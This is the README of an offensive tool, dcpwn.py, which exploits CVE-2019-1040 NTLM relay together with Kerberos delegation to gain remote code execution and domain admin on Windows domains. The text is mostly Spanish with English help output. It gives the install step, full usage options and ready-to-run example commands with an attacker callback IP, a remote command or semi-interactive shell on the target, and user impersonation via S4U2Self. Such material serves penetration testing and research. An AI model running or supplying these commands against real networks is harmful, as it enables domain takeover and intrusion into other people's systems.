ridter/cve-2019-1040-dcpwnCVE-2019-1040 con delegación Kerberos
¡Gran artículo! Explotando CVE-2019-1040 - Combinando vulnerabilidades de relay para RCE y Admin de Dominio .
Por lo tanto, escribí dcpwn.py para facilitar su uso.
Estas herramientas requieren impacket. Puedes instalarlo desde pip
pip install impacket
usage: dcpwn.py [-h] [-u USERNAME] [-p PASSWORD] [--hashes HASHES] -d DOMAIN
[--smb-port [destination port]] --callback-ip CALLBACK_IP
--ldaps LDAPS --dc-ip DC_IP [--timeout TIMEOUT]
[--impersonate IMPERSONATE] -t Target [-share SHARE]
[--command [COMMAND [COMMAND ...]]] [--debug]
CVE-2019-1040 with Kerberos delegation
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --user USERNAME
username for authentication
-p PASSWORD, --password PASSWORD
Password for authentication, will prompt if not
specified and no NT:NTLM hashes are supplied
--hashes HASHES LM:NLTM hashes
-d DOMAIN, --domain DOMAIN
domain the user is in (FQDN or NETBIOS domain name)
--smb-port [destination port]
Destination port to connect to SMB Server
--callback-ip CALLBACK_IP
Attacker hostname or IP
--ldaps LDAPS Hostname or ldaps server
--dc-ip DC_IP Domain controller ip address
--timeout TIMEOUT timeout in seconds
--impersonate IMPERSONATE
target username that will be impersonated (thru
S4U2Self) for quering the ST. Keep in mind this will
only work if the identity provided in this scripts is
allowed for delegation to the SPN specified
-t Target, --target Target
Hostname/IP of the target server
-share SHARE share where the output will be grabbed from (default
ADMIN$)
--command [COMMAND [COMMAND ...]]
command to execute at the target. If empty it will
launch a semi-interactive shell
--debug Enable debug output
ejemplo:
sudo python dcpwn.py -u user -p pass -d domain.com --callback-ip attackterip --ldaps ldapsip --dc-ip DCip -t target
Si deseas ejecutar algún comando como cmd.exe. usa --command
ejemplo:
sudo python dcpwn.py -u user -p pass -d domain.com --callback-ip attackterip --ldaps ldapsip --dc-ip DCip -t target --command 'cmd.exe'
Si deseas suplantar a un usuario específico, usa --impersonate
sudo python dcpwn.py -u user -p pass -d domain.com --callback-ip attackterip --ldaps ldapsip --dc-ip DCip -t target --impersonate someone